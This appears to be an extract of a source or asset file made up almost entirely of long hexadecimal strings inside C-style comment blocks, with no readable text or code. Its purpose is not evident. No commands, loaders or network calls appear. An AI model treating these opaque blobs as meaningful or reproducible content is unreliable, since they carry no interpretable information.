c42db0af72f07a6c514f51ebba0350585c5b8bee99cc0e114e1a4da43d2f46c784c6916076c096aaae41b71dfc82533b63318ff61b1133b7a4d1257025550f95c8984c24e21313c4d666d6146552143057fbd7df6070e3f34d799c141461ed4642b20952a99278cca5a534f63eb6fc56c0b3eb9b10e4a4f3127a886906c66342e4d2721f7cbbc5e9c03b2eeff6e3323f3c5a9eb853ef43e1594281509520afcc4935bafd692918b62cc3f34dfb3c7fdd75fb4f9e19b44328573f57aeafac362da3fd81c1dfdb92a84dcff9ed15636c8a7ef5aa3dea5857ac3c410b2d2fa403baa081c706e5c89df845d56f97ae735c0d806bf1bb1d41920931bc4dc8b59709cffee64a2fc81b53d31d960790ec11bac1386a28c77d144ebfb79ec2be9fbc9ad051394e43d57fea4a0a7c885f4163241cf67b5dc22bbdcb3473ef9157f5b7aacc0a90e9384b4a8abd09179e3611838fc928ef9f5d80c2dbfd4eb50b1e81bd5aaab8f315bb6811147491f1f6518c12ae7c428d0ca4c07bf34ace31c2fc1aa04edf2883a812ec736c22fa31f08b611e9b4b42beda8e2f04bf96ec28048ee1af333f763133b3a5a3062c1c07ea7b75ee37289cba8c0e905efbfa97a38aa095c9c215fae0d896491f501815da186ab9605ba62b3db5db94a2329ba22666e9cb51573e6d44f4b74ce858172245a16318f849d63cb9ac3853fed5ed039c0a9268a5154cc8db90b0de5146a4eb831dcaf49590ebc5c36f4e3f4845254f4c10adda1583d9db26cf66e5297c9cfe4c09ef3c8374bd2cc95e56bd0a2c968f113fcbd6b45a7e7c357048fc32fb8db9d534226fbdbcaf43866c29b4528656db2e0356ffafa6293a4c303cd333800e9d0ad9d0274c7c900906d05dffb729c862920d14bdafd2484f36b2f2149dc2c2eeba4d4eac32a462ccb1764fb05eea023d0d2e806be303d691bdaa4abc58cde2b5dac8fcd3abafe1719dc6d7811eadc8236fa027eac8f0088d8ff264123bccd0df66c37e0578fb9d5e74b6c1ee3e49261677ce5a4e94723263ca4427ca4509652eb2baf08f515ffb220ddfe29839f248c0a3f93a0d939170173fb5f2a71f836d5cdeefcd82b019b4f1671dd6cdb2c2277741a56af8728f79575fa2ce8ebfbb02fa9159f7d01c2c34edca973bb1f25678db5d05bc771435bafab8ba86b9c28d0e29df62098bf630fc775b9627897f9dda24b924cd18c2faabca46c031656a2382f2beb11a32ca6baa0b7d81959d527eb52ad5f4a30b9e6105584e2efe64f19919a26d9723341f12a52e7ad9fc45b8a775b78cfed8a800a15572171caf4d31d7f307696523dc5ed69e217194689bb78be84ac3fb34eadac0a5ad3cf4e5724571bd70cd3e5f67ecbf6b5f9262c60aa362c850cf42a4ccdbe804843ca384b98c8bded4f52ba898df55e6831b53c761b035d934e3d8c66686ea0002460a9eb93a63e5b62c6932182fe18eecc178c4785e3bd89e1f0db23c3072010db283d3e0dae759ee2c1d8b2458baf02d3ffbe94e803e6b16e92f3fa4b864a5fcc693de90762447772f645dd5991548374e77dda55a9f01433a8c2b9b667537094d507629068f0f3f4e408dae68534f256ab284e3e1a8f37d17bf92d663aa7977c43d6bcddb60bd63ac22fe89efdfb7211805c9b10ccf890e513b0a1e28fd4b2ee1b1f4b2a098d874a91effb4cf3ce1ff1b720837183550d78763bdf301ca1b1d46eb779fb7b029a4d5a44da05c329a7b8cffedd62b5f3148fb90d7a7a66b3e94d4624da03f7b3c47cda4d50a3cd96dca17e14028872338dfadba575b48c5281f89b8189172d5d2c3035d910ae2f4aa187e14b9d19307a487c377192ee7e6f8a755a29d44a9bd2438748569948b25f5c024f86c5251eb5b3ee2ba91e1d1bd9d74e288287f3719b68f8e7f0de25ef1e7089e6b317d6e5588e5468e99d3172c1f4e9ec9474946cc146f6a1f637b27e52b514a2894ad8dc39774a8707d154b076cb420c6f6c402faeb4ebfa34e4749456c878a8f4b16479a2c91a5eb46c76bda96746f0cdb512209788d3e3ebd07b5271f3c504e877cc91035b41d29f8db9e495cfc25f5d39889a6d70abe4bc20415a056bd34e8a1a311f08*/
/*7cba9d19507ae17c7aa06972b07fc35286f32569907613831dc03eb974cd59d17a9a5601de9fbd1876fdb886519ad2bfabad76f308056dfdff8c09ed29ecdcc3d3ad77b5c9004b1eef4cb85305ac06471a848ad7f9c2287118bde5dd7e8ee9f69e81b52b17e7c2f5612e78807f6e7eb5d643becc8245684316369a3a8afcf45bc7f3017a2395d2fe57c5a4e4a1dd9f255248d9dc5e83dea16ddff1a528411f6b67d9e5634f355fa8e51a1c0d006fa0259ff3055f98e02d3482e925ad9940c64bc7f7555928b95fff2518eb72296bd31ac155131d6d4a46081ca8979e7a3b2e69276d2ffb00e2a9f67549cb7922b97c513c133395c52bacf72b3fc158c4d6ca50b60395c3c7c4dcb14aa0bc59be902df4d5bd39143a77a6568e1016e7b22082e03c679d55a213d4e4112710b1389b7123696c9e23fb16d0447f9eb92b3fede967c0901a07812f64d6bd70a7d6b669dbe23ca793ec982e40b21e83bceb6a77ffa78e90c4c3e3ce0c8c181b749dc89c8592cdb9087b3d0838c999f87b992eae3e5a8bfb1964dbad394298b92fd3dbbf3843f994bcfb8bba8765aab3f284e54b42354e13f31ac973f9ac4b889323c52c42560a288e1bbb29f70e2a44f9afecef35d1800a9ed4330f73e74c80773c955d5551d9b1409a250bcaca7d33f5722dcbe25105eb082e93a3c89587b9a0a921245bbba50ca6d8e0690fb7461f4df73675ba05eca1a2d2d3370ec4226103325f87525b4390c1dd2939885cd82c82897ab20b7602c0d660643ef4191f3c922c58562f5cf6047a8c5699bfc8dc3ac174cfa0506a714f1588600d4b0e017865933161722b1d92a63edd3c6bef7ea21b3d639585553cb075dbf78eaabe3effab594129518e02c90764de9949bed5513df6a89e08246a8c8d86336a980cf40ab4b915ca860d8c5bc9a71438cdf533b9fbb7355dfe9c77e0ed8a06be5c8e69c6b38052db31f7894ceecea0c0b2e2473e960a4551b64388a7ec8549db3072e3a0d5d537ad284aa8d3dec2744ff258761d5d9b36ab3c4c9ea8e1b9453d6393df839095dad0dab22c30f0b9ffd85c4de1a3519b0c40e8d79db982048f2bfb4070c2c995411acdb75a119e508a49ab6d91c06d730831cbd080e068e7f8a00da909efdacca751291824c1906a180ed8c1627038e04380247ad0359cb9ea40bed0842929c5456a1a22fc56515412d55767308dcfd669f29fe5d5d9f3b881bf00418e03e49d6fe3299ec121ddcb879d10c050761c434cd442b1dab161420d35dfa0d0f932f32c21d766922e4d1c85edc2bf20501914cbbab90fec6452c3d7fb098983ff547b037ce6ddfe089c0acf4dc3c5d083fe43ed300bf3552b7981024f0ada0df2c888a0fb91a559c2ced89f956a7c7b7bd82767d6c161ebd2465d3e1e1bb4c4e8817726df3d98ce7849f39a72fc4e04a304f51f0e29b92e084ff228b749d6c4f4b4222f5ac35ed315eb08aa12ece4dcd0fc4c44d17a6e41cc2dda554c375b1b80d3ab8bf60aa0d192f7342621d847a39f465f069c6b8882717e474b4bed789a416a7da935c525eddb1288dd1edbab43d38a9431c29daadf9fb99f7fc48261a7333566eca0cc79a6f20962bc54d51cc78df7909539f91076d2d6ce6e413db9038e5db270c1befc18e9395d6095e9ffdc7e79e1ee1df321f3b0ef68332b36cb24c9da28979518d0cb07267ab985bf3a85aa61eb7f62649c93994591db968a7e92b9bbdbc8c3eb62c42cd49d5777b30c7a1f52a9d6f6bccd518b79575151aae2c892bac83440965a9b8975a7bfaaee6ff562d07e570dbcd8f4c08e4dd3050d5a6b651b2c4e65cd9edef1b91b93f63d3daaeece47ac47370f18fec756b4380262a8a762f9717efb6ad13f68bab8d6eeead1c0ce64fd32d9bf9bd6df37cf51927f9dba7613f6848f826f20dd2c4ff7936c364698a8e6951dbf72ce1b33399c530e0d968c1680d23878a3023169d649fd6b9e423b04ee79585665c989c63047d75d8c8d8c02bd4e5d26a4cb47cf0ee31ca720de8ee6f05baec0d6a44eec8bb47e34ef78b2bea3edd655122e65bb9d223ed60d7c71e8f0235a98778d34d7bafd52b7ef58c789250cce950658a7c1bd02197a82fa1a219edd7a5b0c898ae9dff268cb769eadb24a611b9792fe3055f282d2e9baa481ef9648087410d81856e12cecf42512ff9164f961a06aebb607a195f1652001cd46d59d8be61206abe6cd889211ecc142b08f672bfd1080db7cd61dff1702dd09c01e0407cff5007008b12d4728955b98194822e18f7197dcf68a5ed06ac51bb0e2e9528d091f2f9eb5a2accfcfc91b1d3a4e3a8a5e534614db9c7bab35556ea7acab97ee86d035b7c79d9f569843e1a966cd0b75772a78c32f32f68817cabb6c8eab02c6ddb4fc4d44cfd4b4c8f7ca16c64d10a47d0ea7e42e4b43b855e5cd28e9ddb8b3efacc494365e9f64587cd9728f45e6eadab7b6e7788fa9be8a5775207a7aa383e4feacd7b0d862f8a0c9fcd6b597085f7958807b41d08d77d3aeac2dbc3c1b2a828a62e4b09844eb611afe5508b0a0eb71255724abaac1e5e0deb7c499c9f4958a2f3bf2b64a16ca627a80048dd4b1368293c7207594d154f30bc830d721248e3a8e561b45b1668df4ebe7f07193d3d1d2ed42de80e50538360adb655f713c1b5f6f12d2225fc4cf62d08c8d6a7ef9304513179e60251dc9ebb54420070851f71b55f09032d3c683e96181d7cffd8e11ae2f88c153f46744c9c3e72b6876b2d11d03363871b188ecfcae136db5a22de6649a4ce77f9643f7e94d4b9b722c4a31d8e644cfbf5486d07ef7bc413d6d6173c8*/
/*8124effe133aa39985a7a930931ae1359d50119fea250c5d0d67f2027e40bfc5172ac73ffb1976ab7fa20b4dc7fb3779812a8b9ae146237f8985952bf26f8e09a8e16479933fd91eefd6c8d998034a97c53efefe967f0d3cd72b9af866ed5c64fd17269a664b2d5a6d46fa24ee65660f7b26817073cf1e6da2e8be2c2440356a2d4d758f1c5b7ae413de103be75ab7cbfa83bf202e8fcbe97343da622d4e8804da2219ae296f301a825aded6363cac4facb736ace7c6fc2d45128c14aa9eddcc0616fca4e6e3900b91bae996619070affc7971e944afc24945670f9c93e32d3343ca47f8e35023905c1ae62dc7548cdd49bef5c7cfa8fbed00a5e1d23c1f7519feb5d9e4a82beba2c9b69dfd8179ec5ff7d60838ed2b7d630ff584b6c355650de1508af27ab18498f5352f64e851d6c344c9779a959bcb3049518a2d84c55ab7b0064428f8757ea9ed969a0085be0e97689975bcb2549b985582f989375db82beddeab7661bb6d5a4c29c8fe137d6159928dddc6187b8c4735a25c2495923c2dc81ed684222d814bfd38039344f6ef5367a8ac822853dbc7587f0aef0cb2148e54369cf2eb19de4f05e55d213f55428a1d8ce595b9a181b66bd7d58ec2b8e02def11bb34873eb06216108208a29235324336968a0d5c68c06cbf23ecf1aa7a9e4f00cda45874dd8f6bf059a9246fb4fa6ee109bff2b7c473306e76a1176cbce56eb5ff01b7dec83cf7007614be915e370deec4e0f77e15cc2be461c59b468ad6bbdad550e0771d2bf4c28dd1fd44c2e5551d1880d731e59e5e6f669093ad23a70969bd1fb2f03496015a4832afc25f332cac5323eba8629dfde519a3b49a75cecebcf8974e603b4e3be730843e0ce3a97e04e8b4bef4b94dab541c2c06a28dafe39740e704733b09e952eb576decf05435a6a4194800d1ffdd1577de88a3974d0c4330f0d79f70c89c05b950203cf8f48101a6fe646c48f1ce86b5f03bb907cc5fd56b8efdebeb4468e42ea17482c89aa492051732d1343d2dcb73be3dc19253cb593310291d9d747c68c6f0cabfe2421251c83af7d32e1f9e22ac53d92ed21bbf899d68ab4f668ad2ed02452c4d590677e53f87ba1a1fe09ca9569f17910d061aa84974ccab91dc7ed215700d9b0e73380fcf8bf7f05669f51041e1c0ad2b0e1cbc71a12d1799211d7d3ec692c3cc0c4b715fc04edfc11237ee85551582e19e833edfd554f221ab43590f71653008953fd27031471c2dc9d00990365405f413861ddc43a12294b9f0cd4bba271279488e418b98cf33ba27d07d08e555f82dea11289cbf5cf9ca87103845182ea0f125c44eaa075616ccbcbd836e5fa7827a4c0c309f6f4799cbab8a30fd58c6b609e75ef7d76a8e42bd958528067025deb316f56fa5885937c54cc162afd75c715093c4e71f040f609966113cf2e73967117f115e3a97402bca1d5ffe798f8641c48a95882772ad2eac540fdefc64b078e0911ec15e705d55f9d1dfba7400d9bbc6e21aebdd0a65a95257570734442a4937c516e955438ca38117b2fae6494b541f353242f2dc019a520e063624109de72e74e68cdf50b260347feeb97fc9b93a77d297c79272709a27c355a1a288d3da3ed26268df35cb8e1ac876b2a739c1db890cb40615a524bd63e7beb59632271646263c84d65ee21b112333d6d4cb6f26bdb5e198c20e17c5e0e9a0689375cc83b332694b6bb5ab4055add7227b2765148b5e82a89a3f29a1018ef6fadd0c749fa5343f21ef283b91e222e338d86305c0a1f616cb543038842a4d3c1502ea8565eaef12f8fc90f4145b3554be0b2df09e989944f253c1cb7c13aa8741051c39db3b1102b37930c5aebfe333b75bd66f196320c7b833c632c6c0ca8d783127041eb9a9a6cb2aad4dd2d4b80003580390b568869eb66f854709141250698fbc6d2d3caa337fcb61a99431357a6f2b79b664802050ecc772f85dc4e2a5b9b5a48b55a277748c447b541547dae07cdab4ceb716caeba022708c318a5ea1e123dce895b1013d001140eeca1a98093844f207f67f27380ab6cad3673fff09651811d9aa2780ffdbbb15f8ac628b8606d7f1aad6bac906501144ef5a06e35d39c1765becf09f7ebec7f169ffb55c8323fac0d9013fa0f102f2311fde8909e91d651ff88fa26b4fea44343736352c1e60ac75090c9a4ce58d70dfb98978d345ceb33c14670f33a8b221b999d108ee21b420b018269ab520d70bcf30f3572d1897c975f9fccf4d212412e7d045615038bb3adf0a63c892d4ca7cdd43d9932df6ce3095e5cf246630dba251c2953d8354321966bce80d9b89d049aca0e254cee17ab9f5ca64e8409a4bba834c489fc5174edfebb59721a5f16859be5cd020fd855557eb60fac75dabd26a56d915d381b0f9dbddb77ab806a2eb59071ddb27b7bcd2063b75cd84ef9a2462350d8c7b8ccb0106cc329256d008b8b7f00cba9b3c567892a1f53307869aa04d87ef1447b4c789f32ee7333ed00f3e640c93231b1c5188ed727ad21f60412300fd28d67bbfbebe67902fae714f1908fcdc4ef3a63b72f11e2b65e750275308b2d11629dccc3430e3dbdd5654d10a6b6caab5a1f5a1cc6e15d2046f21c2ecefdaf78a8074ad0ba16755cc4149ec986c5a0f7b7f1a8854200f4862559b59fb1c3c21bf272005d53c36b0fc30becbebded1a025facc1917902de598cf19623a82221f33f091b229575ee2e5c189230f340518d15db10da1246113421d92e980844f3e8304ae011d7bb102d3c6148268158d9d7ea5e1901c4ff9ed7a7a3f227fc666660760e269175682ee72359b9c*/
/*1d94ee39ea1bc021961ee6908af35b6ff2179f5bc35593475af9b6b799b9cda3755c06f5c0411f09d58c9eca8dafdc359dc76f931eeedb832297d5b738351c4a90d868aa1b8572796e8998c3c6274fd541cea07975245eb41214d82b2a9ab3d560f2493b1a48778ddc68c6af2c5c7b876339ce8efc52db76783f793efd4a859037a85d337a0b5857a8b4c2768c25528f0e46b0616725c45d15d11447c73fdf7379e5515a249eaa34bc310e4ca28f023ab6feedcf98fbcb8c04606e5a526543aed774d7a92723811f27f906a9b4d07f33c6019e84b6922efb45834b3817d28f15461c6a9198a8243d4a9c277f37b171f32afa289cace1c80f0342056b293e13c5f721b7c22c9c9a5b436a0d8c655430b667f7463005bde777acfb349f66414c23c20165f01d48f45ad82698829f152d6b280625beb0c8d008ff391c1942b8a5a6a1e0999f017da151b2a86003b029a957db5a7798dcd090e86371881ab2e923fcd8673f014c0c1b7ca2076847208f8f1b53e6b3953befc5855ece6d629b6c2953c1416a26ac039f1162acdb470589f453653492a03cb30d2268ce56265f362fbcb15037a032affd99a6509b4e11f96ff6e9b4b866c95f1cf30c237739219b8bcf506541a4d1de436e10ee9b092f29029ab39ff044f6a517e68931792449ab499dffd8f5aa380724ac5f960ce11dc516dd5ff56b544426a20a947a2589d74c6d1932e2abb44564a50d8954c0f56b6528b5e1840da59ed0384fccf9aecd0cfe1880a886d190455d5431918f5c5e413261ba4937998f70b816adc5172a6ee1d658eda6ff8c476db808212f8ed5c607be5c52aa48ec2c05719fdea7da9ffee78950ec5f6bb45aeb6d8841c0377ee7d42176b5ebfc70c518d2745097c1fc150d17882bfb7a672181645cb587a80ab2c8ff508f0b5327b0cad6d8c39d049ed05996f0a25257037dd088a68fa386a7910ed2c2c25b5cada5abdb1c2b7d2b25c43aef8c4fbc38df98a605427498f0c56d12a7c57a679c8cf43f77403e9dfcf22138bb31c63c06b585ae9accff767e2f43eef9e6804895f9d286fa8b7676e33c45d6012a5ec7b2db701f2685e4cf34fc4fafe0303ae92ff3d7a30873c97224644e4b136fee67227b13fbc3a75d3237ce4c218d261324a30084c9b5e45e1c0de6a99c2cac05be7354c4b66866deec12af9d1038c15f76d1f19145e9efa1a2f728a6cb4719a3a91cffed9b61f83ba9c74d21695c73215b051e1aa4affa020ee41a44ff86dd91e8285adb8c2aec8f80ea3be16c554edb579a029b02c0dc3d886a325131cb59f6176b901e8837cdb2c01d8e7dc680f557ec7b00bbc46bce0c18923c51ba2b374d2e1f9fdf4445807340ad2dddb8b5076cd44c5a50623e3f7dfaec8405ea44fd8238e1190554b11eb755772d8e27c0506899e279ca03b2ad41266160b4f5e2f9b758f23c1d0f100477d7dc1fc370faddb582e9aa119f297485b3f845293cc249484f648be3bbb0a82fccdac2300f25dc45cc9ad657780396fb56d6b20b89648907b42372e33d15b0304c13d708858736a1d31fcc49e550046e40957b88aaf404d76efb0510ea65ba74cfe7b9b8bfd4ff28d80b5d310e330fbd99c6c8f30eab18b7b4fe5c8eb10681bfd2416df91c7621b3e584147bbc4b3f6d15c3365d7435334e12f98c9b07683e0e8ff3e52ff894f06e43b5d58f48bcfe4dc84f208390e1d5d5015881f5dca0807bf851cb83ffe251b1af537964d74629de2916153b93e7a564d97560c069eba4b377dfd8fd39eb56ca44345dae72fdb47d715733402c8ebd662558d32d4a8a1aeeb5fbed1dbd18d8dea4975772cb9ae8d8d690fec92e4fbb0464ee64d9190896c3df85f38308de61b940c51151cedb59d02c161a0188942d272277e99a292d0b723bde3e4439cfe285d6912d0360ef7c675074dc72c7dfed2c7fa61b507d6a43a1688c4bf6c95694420c659af837db74be585e5c2bab2288c69a32b681c21bd3ca9767d1cdb31377f2f54ec4361434b53fd45b65c29f2c295d10c514b9a229f225519d28554dc6334d722e960b56dc81ac47dcc68d7918b2a2acdd9e981bc4090476ccad15d77c039bf91ce7843fc6a258142ba4a8566371cf8818436c7e4077f5a8a6ab85ba85b903a1dccb4a5dbd7e58f1f54f516cca0061eed89d79a0dc65d40ac60d40df87ebe5dab9bd33d4290e3004d57b3f08f8ec63eba4cbcae554b9a69c954b9af2cf42c7d6738e784e159ac08143ce495aa17278ae371fddc7fd766fec404c2e776dba4844a85823b86352209c3763924cf5fdbd72433ac8276780e33201a1c9cfc7a35e56b85cc14d37890c519d5dd5b1e689fc7c1f41940b9c27781e7cff50a789cbdc304b92eadce4a7b56a8a1370964adcad5b8de312fc6ba38577c4db66df82480f46a4bd31524a8c484b95add5f7574833ae131bb80e17a0eb9f1f81c0b41d76928b76dd19fece3f6758e9fa7dcdee56f353a6be852b23b79c34d97b1c44f4088d213f2ff2fa1b25328996995b0b562d9861ece7273638dadec2da62954f551b4685a43bf091db7c9171e6fbd6681ca7ecbc2dfc2c3ce9dac50bb114327f5c775f55d78128fdd572919fb8b07db50e60b22b1483ccd94b81f2d6b3d2829cc65175edcfe7f84348cddc9b40c1b1ca4501e2afceb7ed12dc6479520ef08d429e125eb61c6d1460af6105ee3c4897693da1fd63e9fa12c32f6bf11ffee85525c6e8073bd0730acd520a2742d69883fd2fb14e705b2451e858ed0476eaf8677a752b51f5e7a6687353ee5ad9d6c934ffe34f0806cd18a05cd3c57708b5411fefa9312d*/
/*aa7c316e5c84e2026e885fa7f1f7f055987dc0987ccc07856818358c0888aa5ab4fe59d8ce5d47e4c9748e7fb6daccf039ff767a81d52d002b3f6bf80af4b7086ef413cdd4dd57a004b77ac3dc6c9b19ca9a2f8d23d6d5f99778037b562bad8887f4055f3f46ee63f31778700a458af9edbe067ee6ac868208ce6dc6d8fce6f51e1e86c1ec957d193a63b17d4a7ed10bcd0834c0e2d8a476889ecc8f1bae48da907a24460cf7d98c9042ce3e7f28c7f66bceea092a89dd74abeaea6d3603961ad64c4a4738b1884352e6a3f4a7af1dca7fe29e6cd79369bd506dafff4bdc409e1854204a99883c84a50961c39c275ff66a2b81ad5290b8b890dc2eb24b87ff72d6a97766f9944c23588d13a91212392fa80f991479c2cb43e546749129ed030cce9d8a2a9186b3e51caf08a41540034d56aadf2f7ada2d2740cdd17e4daac04943b4089ebe75bcb8fd42c936d315fa8c038d7da3d5aa6063815f0dff378c654bcfa9b5bfc1d652e43f3d556633a2b0938553b78340a922d351364004b57a8ad8e54efade4859053149fdee9ed4e8b74f0ea095d996d6c7c5025010df74d53a0f29e14d94e80fb42806611352fdbfe8fe956bf5a335f4a8115aa12a46750407b16a7006c705a6254def6898cef927fd7e397302788979e76d1009cafda48ca2f57262638a97a7b28a67dc57f427fb4418edc2326722dbcd26bae9f3cef0c6802b459842af676dd28e7f36fc1cdab3b02c8b1a12973dcaebee8f5338b9c1959736f13a3eb56e1d2dbf2ba802c93cc8a0e1d4f507c32086807175efa21975a41a42b39693e31a6a59549e434ae33fc1560ce861ee0d8453af0cb858ae802eca31ae57b64803b37444bfe6a1406b5582c2495f85b281b2456b669e746d277754f11d921fc3f757af80272586a5fd8b68316cc3d273834f046e86775bcdb2e608dcae831e1932553114fbfedfddfb667c6f697e29960770f751ed0556ea51c66ab31dd7c73d14d64b66785f2d187674499c850c3380952b3f44a2d769f247081d657ca33844a9878c0118f59f5019d9e7a57ae45d67d26d06a25a5a35fbf56845f2083b016625df8e87b03cadb25fcdeceefa415b1ce95bc2361d2aaa6f1d4906885fb4c6679ed44e0a13e41277759908196e8864b8309c568160b75c7885cb0d47455ab21b769a5f9b59772af6b3c65aa53906c336cc3dc58e0f9d284f25070078dbebbff3764681eff563eb299c724701e074ff6c3dae8370c4078ea0887ff29e7a01873934879ec1ebec1db7d75734737f0bfbc00fb050420499295150b70b3348b59dcb411e529a39baf309cbc6decdcb6f27b50bb1a87a3ff0b6aa3ab99cb5afab85591b44ffc3b344da9f46129dd9fae9c6ae3f7a99be405430df3bd1b132c389a95aca585f33fdae1e7dda3f58b20b9d657e5792bca59a889a43f6a92265e6107b339a1549ca06210e3560e10d30289072b17823cc7d89008273b38276b07fc654a8d1978da9ef9758c3a2efcc9d1fdada4df89d8e9332c222a18dab1aaab390be567d8ee169447116a7c25646a636e3800ed97d2757c7c5fc2681300914107f744fc92d59e8836ead547dadb4bfadbc04638882e3598e16d8d428e411e3da3a903078f6cc186c8180fc3578a43f6812468333ebc24f2db580e2e7cf087733503b039435931e3c4d2ce81bf50646fb4ae491fdc70b504ea9e282ebac87459267a31692871231fd690abe47040c78e57f2b187ba34decb7f26cef4596460f18cc7b8890fbfa9dbc9670b1d20531802901a3674f820f7214204866ec464dbd0c5ba4fe2362e14998f936200d4856106fb469e5df2011bbaf8360bd2c14817ee96926e8ac8eaa3ca4c2ddc62aeee4477d0553ddbec6d66c7d5e8674973d2d7e4e0a8d44f3ecab4e1e0e677a96881ece4752f365682369d12cb4d77eb84863d2f4cab61f977aa8f2ed149e0ae5e50391548e1c17babf2af0a493c3cd9bf9bfe3abb374f1c9fc3334a95279b31f791df2957dfb3e7c70407363eee2dd2dc8f43bb93554529997b8cf97fc38d4b2d6e65369156e4ec1b03ffde13f5ba84d6e92a38d25edeced4eddffbf37034199b3d3b3fd8b776358bd77f8ae01452972198e37306aea75f646f3d7b1fe65d08eb079c2044254086e588997779d8a9470eb6e0a94081272459160aea1c4382fedf8b06889c09b086007e91f5d73678209a99eef077855f6a52a65cb68d4a5f5b83e1418840209ec826f4ccbfd92cec78b63d0be72459af241bc7104420cdddaab82255e89531ccb8d1deaa2ad66734ffceadb9c28f50d08e8eaa258e07f6466ab5d81a3f5ccb059ec2ddcc5c5ba49361cc77e8c58b44a999c649775257d4a0fa65a4df7f765b5134c54380d98f34ce00261d5789bdc9e1c582f62a3ad305e7a84acd4bc9a29a0913b00d3afe943adcc04cba4a84298f980ffbaab01e7b79ff5832f96055f8386d0a313e647afa38a764f6a9f9ea781cc3af939dec825b78b48715c4d238e2443ca6f1a93358ddd9e5628a0fe9c4f5407c6b1e32e1eb57105c78e55f36d12b31b0299d4ff075c4daf3c04a02fd405cdd73a17e2d41e3ffcc49c4f51dd9dd785d084df58e1bc8e8be1ada56f58354d723923d3cb8b2a5a012e820b385ffade10b3278142b98191c4ddb7b4790fcf3926c2391afb9d65fc9bc0443b5ae390ff68ff02f9aa2830e6d22c0a69865f470e39571340a5cedd09cedc472aad1c3d17fb7c727e7271c85fb6824d24f53b948e5d9845b11428914fedbdf34203dfb36687542f610cf210df0dcc37e207c9058f8e78199eacf1f4a8483d85206e5d58fd*/
/*85e6b1ed7d64f7e13f612f38aaab209342cbac15be135c239248243ed251ddbd04b8a435b989e478773fb27cec4e1ff740aef949c1b279753193d9dafec47dd5c134ba62f28dbdfa41e7ab6a8e2a549133c0b5fe421e010244313f8e99e07299823dfb71abd7a5db942a3dc9e0d09cadc4e4ab4f73738ddeea917f4d569f99250df38a7d17c9bd5adceec1fc9af3580255c56f4efdfd5acce1708054f699c1aa926546fa3959a8d395c12e629f442bee3e4c7e0df90f2ee7b4ce8673070a1dda02f9796da2e062ac6147d6b15195c8c5e787158b549f1c2a72938d2852dbb9b60ac51e34f678148585861353b00b7871a8440311bac787fb0384dbd3e9fc7ea9e5c910e401443400c661aa64fd1c76b586b3b23eac3be30867fb3877a4e06c77be77820cded55e296b5590c37b44a67981c8dfbb8f3adec9ddc6e832a38ce997a30d30ea6336bb4552d11a484539b5aca784042db9d6857aa7e84552c7ed60bb03fdfc263dbd9e1b8f837b19a5f275576d70733f23f4f3901aa40d52cf6c65aebe92fadf82c62e6a899a8f3b078e70c0838c66b5e72ac53d07cb5c757061fe72c5d0668f6e0e67e7e0e5d2d9559b9d19212e0991ad0ca4256842c89c2099bbe718cfd61db5335907ee6bc12fb8c754f28b4adb36dbd4e18716047c36132c7d1ef55ab9b92ef72506e3d0eeb08828c554ac9dcc58e545cb3ff41d7a9c2ba4629be8288061e6871a99a6f3efea1a9e33a2c2cd2c65cdb73b3ca407c318cdd55bc7bb4941e948ff71444c3feb1cf1d19e7de6f42209e09bed0d151ab9e5c2654d226c5503a531e3088f08b8db9070983f0aa6f22ef491b85e5911c9c0890d824972a916ed03032282f537398aa8e42074e33e2e33f440b02280b6dd88bdd9bb50ddb3df2cd299b7b8b154ee207671d60dbd73025147f4dc0dd1bbf34b0f7a20a785ae9911eb5d380e8ab577a121f8dc6c12549d8e82ce3e915dfcfd7f1a6c9d1169bd5dcea8e6326f04d4c9d56a3029be56f852f9068f97f2f66ebb61bc600399692e563ffefb417ef2ecbc01739124c362f06f1191e2eb4826e2ec76a74198f7c50cb0e220d83e2e111aef527d4988c17c39f649632e0966632097e818278dea295dd4b44bb58e24b8c0b6be2d72330da09c6fb8d862db448078f1078f7df7d19fb243a9aa8653633863eefde6448314eeb2f5a0f7b381d179df3461912283228540af44730b9c5a2258d4f0e6fc38580d3a21b3a61656ef86eb7716d962314de4aa24f6dd02b467e68ad12fb3969e1eaff7bde567a0e8fa1fecbaa9034c7a4fb5318c410f5d54a6ebd0a8ff9870714c198cc4952d2bb0dd7607dd77ec4e94c5a88620adcf172c35097f3a239613296dafc757e82d244d144321bb28dfc3d1b8a1e8b9dac11e9a14725f664c3067170397296145c80a0e3685fdc672d5b5e4101b1ea5213fb789af60b2ad29bbd55c5204f336bfe2eb597634e653b130666773cc3d570ef376aaea92b6b1da1748a5322f8a67a39f886c1da1b93e1d33830bacc73e76b1e5766eb722c168c9788899bbcfd7b55edb241c7025e70de8f3b196b95f694f862d0e11f47f4dc39d8929f980ae89ba87d44a7e6c25489256a9c181385dc22bcfd4ba49ce9cf3a3662d6ca2e5de6c98cac2576fe7089d6819ed5bb80b00ff34a2388027fcfae4498418e20e621289c9becf0cd55db68615cc6d78874698abd741a9829d57dad19a4f91f031c82c0a093c8d6f3556b7222fbe3674752290b90ff24daadb10b6918a7925b68f84bc72ac9bd3a8d67848e2e065a2cfdec75f395ccb709b66be657debe7852562ead32860f2daab592eaf2303d238fe78b70be529c497ab33d3a6b14034e6edce14b063526e54f21f8e5c16d24ee0e3ee39e038febe4d2cf7f483207308f58f8a38cf6004f1671f217c73cbe6c2f54faba3f63c12eb53a5b57c28bf20319c0b528e80e628b21e2b00302d64777cb1eb6384480359f277046012332ba65854f77f70d30984ad634fec82c655992ad550d650426343e95573efd48a061436f2cc556add0f241b91f63a2909f00f89f5f06a355f67e82dbda0d37045a81c662d0554985659686823e3edd035516ba79ed492438e03e4234506b2fe53b5068c9c1901ecc777db8d3bfee95ef94313d4f0c406615cc87b38933fbf17849c6c99512f14412e3c5c9e35d2287b662a94801196bb506bd603f32d88a9eaee982998546733cd9de6d11fc9a44da4caa0326d4f4cf2902ede8d6a6be768ec350129fdfb6849aae3fd1aca786cf06d71d7a47f70ecbae78e5a8a07526e5c65b9737733a1d24dfc8f1ad398c15293d5eaf50328339fba6c9bc5febe32187f24a72b7f4e7479d563f277ee31d4076f6e6716e24c9ebb05d356953bfe1bd9ab72a60c7d88394376f39a2971fd0c6fcb5e373de5940851b08d33e3b44cb932cfaa49c95b9056f10c3d226c6821aafae51582856944cde50f8e66e14d8c864c3122eb8cfa610e56b3d57b25ba019d59ceeb8c9cb5e52db6e4d29d9d59b2d3003cce267f1ad4aa1b75b3d82a9c6dcb384ab6ec951b15fe3132f973c33bc946a2793e26d9ff30a0b614b38f2ca20a278a3b5fee882003f236f3aed3732205114f4eaa71d154e7ccfe1ee37b091176ccaf6ac1d132217ea877521e9c93174c9481d42bc9cd5a0c6c64dbf729c4d49330e720294ca6585e453bc4575b7f014b2183309a96bebdf0ea25e7d6f082af92b254aca6809584